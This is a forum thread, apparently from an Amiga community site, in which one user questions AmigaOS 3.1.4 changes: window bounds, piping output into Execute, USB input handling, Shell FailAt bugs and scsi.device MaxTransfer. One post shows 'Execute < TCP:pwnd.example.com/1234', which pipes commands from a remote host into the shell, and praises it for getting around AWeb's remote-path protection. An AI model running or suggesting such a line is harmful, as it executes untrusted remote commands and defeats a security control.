Os 3.1.4 - List of bug fixes and changes by component

[kolla]

Intuition was only modified to make use of this service, and its "window movement" functions where adjusted for testing the window bounds differently if the feature is enabled. This is by default on the workbench

So how does one turn it off?

Without being able to resize windows to become larger than screen (for example stretch a console wider to make sure C:Ed isn't hiding linefeeds), I see zero use in moving windows off-screen.
I have yet to see any description of how one can possibly move&resize a window in a way so that control gadgets become unavailable, and I find it rather frustrating to be limited by some made up use-case that only affects Windows users (as windows is the only earlier system I have ever heard of, or used, that suffers from this limitation.)

[kolla]

Code: [Select]

list lformat="...." | execute
executes a command sequence constructed by "list" without requring a temporary file.

So these are (will/would be) equivalent then?

Code: [Select]

type s:user-startup | execute
and

Code: [Select]

execute s:user-startup

I find it a little non-intuitive though, I would have expected this to work

Code: [Select]

list s:myscripts/#?.script lformat "%p%n" | execute

but from what I gather, it must be like this...

Code: [Select]

list s:myscripts/#?.script lformat "execute %p%n" | execute


[kolla]

If you can't move the mouse off the screen, then there's no way you can ever move a window's title bar gadget completely off the screen, so it's not an issue

Exactly - and there are indeed limitations for window title bar, you cannot move it off-screen on the top of the screen, at all.

unless using that chap's app where he lets you drag from anywhere in the window then it could be.

I would very much like to see this feature implemented in Intuition.library too, just like how it is already there for screens.

On Windows you have windows that can be dragged and resized in many different ways like keyboard shortcuts and resizable borders.

Yes, and such things should also get in there

[kolla]

So these are (will/would be) equivalent then?

Code: [Select]

type s:user-startup | executeand

Code: [Select]

execute s:user-startup

That would surprise me.

Exactly, me too.

Execute takes a file name as argument, while type outputs a stream of text.

Right, which is why I would like to see a clarification, probably I have just misunderstood.

All-though, an OS command that can take a list of commands via a pipe from standard-in and run them, would be great too.
(http://aminet.net/package/util/shell/EArg can do it, and a bit more)

[kolla]

I am looking forward to this working...

Code: [Select]

Execute < TCP:pwnd.example.com/1234
It simplifies a lot of things, such as working around AWeb's protection against "remote paths" (it considers TCP: a local device)

[kolla]

Input.device was the source of head aches ever since Amiga got USB support - was anything done to improve this, or are USB users advised to continue to use old patched input.device?

[kolla]

Sorry, it's not really a patch as much as replacing entire input.device with one ported from MorphOS (v50), to (more) correctly handle multiple keyboard and multiple pointer devices.

I take your answer to mean that v50 input.device may still be what Poseidon USB stack users wish to use.

[kolla]

What happens when "Execute" finds an "IF" in the pipe line? Will it patiently wait for "EndIF" till end of time?

[kolla]

All it does is to continue pulling lines from the shell input stream if the condition is false until it finds the matching "EndIf".

And if "EndIf" never comes?

[kolla]

I would edit the OS 3.1.4 prefs programs with a binary capable editor (for example CED), and replace the LOCALE:Sys strings with LOCALE:314 and put OS 3.1.4 locales there, and keep OS 3.9 locales in LOCALE:Sys, and hence have both working. Or vice versa.

Most glaring problem that I am aware of is the IPrefs of OS 3.1.4 and 3.9 support different, incompatible supersets of IPrefs of OS 3.1.

[kolla]

Shell v46.10 is rather broken, as FailAt no longer works, as reported on the mostly dysfunctional official support forum:
http://forum.hyperion-entertainment.biz/viewtopic.php?f=15&t=4156&p=46099#p46099

I am tempted to think this is not even a bug, but a "feature" to make sure "most users" systems boot, regardless of FailAt levels in Startup-Sequence ...

[kolla]

From FAQ...

* I read something about a setting called "Max Transfer", which is a
  value which I need to manually adjust according to my system. How do I
  set it up?

We decided to make things simpler for you, with AmigaOS 3.1.4 you
don't need to touch this setting for the built-in scsi.device. No
guarantees for third-party firmware, of course.

Still, I apparently need to set it for built-in scsi.device.

[kolla]

Yeah yeah whatever, as long as code is eventually fixed, what do I care about accusations and name calling. Maybe the problem is that I (unlike the development team?) have actual Amiga hardware to perform tests and real life installations on.

When can users expect bugfixes for 3.1.4, and how? Through Hyperion? Through Aminet? What is the functional support channel for OS 3.1.4? Here? a1k? Certainly not Hyperion's forum, though specified in the FAQ.

[kolla]

The scsi.device knows itself how many sectors it can transmit in one go.

So the scsi.device 45.7 that comes with the A600 kickstart has a certain maxtransfer value hardcoded, and does under no circumstances use values configured by HDToolBox?

[kolla]

It is neither the scsi.device that looks at MaxTransfer. It is the file system, typically the FFS, to implement that. Previous versions of CrossDos and CDFS also simply ignored this value (as part of more defects), and I do not know for other file systems whether they handle this correct, but the FFS does.

Right - FFS in general, or FFS v45? The quote from the FAQ pretty much says "built-in" scsi.device solves _all_ maxtransfer issues, regardless.
Is it correct? Only for the "real" A600 and A1200 Gayle controller? Should it perhaps say that it may depend on hardware and filesystem? Are there situations with scsi.device v45 where MaxTransfer values should be adjusted?